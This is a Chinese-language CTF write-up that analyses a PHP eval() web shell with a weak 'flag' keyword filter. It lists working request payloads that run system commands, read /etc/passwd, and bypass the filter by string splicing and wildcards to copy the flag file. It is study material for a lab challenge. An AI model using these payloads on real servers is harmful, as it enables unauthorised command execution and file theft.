1 |
|
这段 PHP 代码是一个典型的Web Shell 后门或代码执行漏洞的实现,具有明显的安全风险。以下是详细分析:
代码逐行解析
1. 错误报告关闭
error_reporting(0);
- 关闭所有 PHP 错误提示
- 攻击者目的:隐藏代码执行过程中可能产生的错误信息,避免暴露线索
2. 检查 GET 参数
if(isset($\_ GET['c'])){
- 检查是否存在名为
c
的 GET 参数(如:?c=命令
) - 这是攻击者传递恶意代码的入口
3. 简单过滤检查
if(!preg_match("/flag/i", $c)){
- 用正则表达式检查参数值是否包含
flag
(不区分大小写) - 脆弱性:仅过滤了
flag
关键词,防御极其薄弱 - 绕过方法:可通过字符串拼接(如
fla"."g
)、编码等方式绕过
4. 危险代码执行
eval($c);
- 使用
eval()
函数直接执行 GET 参数中的 PHP 代码 - 危害:攻击者可执行任意系统命令、读取文件、反弹 Shell 等
5. 默认行为
}else{
highlight_file(**FILE**);
}
- 如果没有
c
参数,高亮显示当前文件内容 - 攻击者目的:伪装成普通文件,隐藏后门功能
攻击示例
- 执行系统命令
http://example.com/shell.php? c=system(‘whoami’);- 输出当前服务器用户
- ? c=system(‘ls’); //读取目录
得到
![[web29phpls.png]] - ? c=system(‘cp fla?.php 1.txt’); //cp 原文件 复制文件 复制 flag.php 内容到同一目录下的 1.txt
Linux cp 命令:复制文件和目录
- 读取敏感文件
http://example.com/shell.php? c=echo file_get_contents(‘/etc/passwd’);- 读取系统密码文件
因为这里有过滤所以不能用这个
- 读取系统密码文件
- 绕过
flag
过滤
http://example.com/shell.php? c=system(‘cat /fla””.g’);
url? c=system(‘fla?.php’);
url ?c=phpinfo();
url?c=phpinfo?> //不一定要用分号